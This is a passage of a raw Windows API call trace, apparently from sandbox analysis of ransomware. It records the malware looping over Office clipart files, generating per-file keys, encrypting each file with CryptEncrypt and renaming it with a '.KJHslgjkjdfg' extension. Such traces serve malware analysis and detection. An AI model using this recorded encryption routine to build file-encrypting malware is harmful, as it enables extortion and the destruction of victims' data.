office\\clipart\\pub60cor\\wb01301_.gif.kjhslgjkjdfg")) returned 1 [0192.912] CloseHandle (hObject=0x114) returned 1 [0192.912] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a0ea00, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a0ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x2076, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01304G.GIF", cAlternateFileName="")) returned 1 [0192.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.914] GetProcessHeap () returned 0x2a0000 [0192.914] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.914] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.914] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0192.916] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.916] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.916] GetProcessHeap () returned 0x2a0000 [0192.916] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.917] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.917] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.917] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.917] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.917] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.917] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.917] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.917] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2076, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2076, lpOverlapped=0x0) returned 1 [0192.918] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2080, dwBufLen=0x2080 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2080) returned 1 [0192.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.918] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2080, lpOverlapped=0x0) returned 1 [0192.918] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.918] SetEndOfFile (hFile=0x114) returned 1 [0192.921] GetProcessHeap () returned 0x2a0000 [0192.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.921] GetProcessHeap () returned 0x2a0000 [0192.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.kjhslgjkjdfg")) returned 1 [0192.923] CloseHandle (hObject=0x114) returned 1 [0192.923] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c9d300, ftCreationTime.dwHighDateTime=0x1bd4e62, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4c9d300, ftLastWriteTime.dwHighDateTime=0x1bd4e62, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01330_.GIF", cAlternateFileName="")) returned 1 [0192.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.926] GetProcessHeap () returned 0x2a0000 [0192.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.926] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.926] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0192.928] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.928] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.928] GetProcessHeap () returned 0x2a0000 [0192.928] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.928] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.928] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.928] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.928] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.928] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.929] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.929] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.929] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.929] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x172, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x172, lpOverlapped=0x0) returned 1 [0192.929] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x180, dwBufLen=0x180 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x180) returned 1 [0192.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.929] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x180, lpOverlapped=0x0) returned 1 [0192.929] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.929] SetEndOfFile (hFile=0x114) returned 1 [0192.932] GetProcessHeap () returned 0x2a0000 [0192.932] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.932] GetProcessHeap () returned 0x2a0000 [0192.932] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.kjhslgjkjdfg")) returned 1 [0192.935] CloseHandle (hObject=0x114) returned 1 [0192.935] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976a4300, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x976a4300, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01734_.GIF", cAlternateFileName="")) returned 1 [0192.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.937] GetProcessHeap () returned 0x2a0000 [0192.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.938] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0192.940] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.940] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.940] GetProcessHeap () returned 0x2a0000 [0192.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.940] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.940] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.940] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.940] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.940] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.940] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.940] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.940] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.940] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.940] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x899, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x899, lpOverlapped=0x0) returned 1 [0192.941] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a0) returned 1 [0192.941] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.941] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8a0, lpOverlapped=0x0) returned 1 [0192.941] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.941] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.941] SetEndOfFile (hFile=0x114) returned 1 [0192.943] GetProcessHeap () returned 0x2a0000 [0192.943] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.943] GetProcessHeap () returned 0x2a0000 [0192.943] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.kjhslgjkjdfg")) returned 1 [0192.945] CloseHandle (hObject=0x114) returned 1 [0192.945] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1 [0192.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.946] GetProcessHeap () returned 0x2a0000 [0192.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.947] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0192.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.948] GetProcessHeap () returned 0x2a0000 [0192.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.948] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.948] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.948] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.949] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.949] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.949] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2c3, lpOverlapped=0x0) returned 1 [0192.949] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d0) returned 1 [0192.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d0, lpOverlapped=0x0) returned 1 [0192.950] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.950] SetEndOfFile (hFile=0x114) returned 1 [0192.952] GetProcessHeap () returned 0x2a0000 [0192.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.952] GetProcessHeap () returned 0x2a0000 [0192.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.kjhslgjkjdfg")) returned 1 [0192.954] CloseHandle (hObject=0x114) returned 1 [0192.954] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1 [0192.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.955] GetProcessHeap () returned 0x2a0000 [0192.955] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.955] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.956] WriteFile (in: 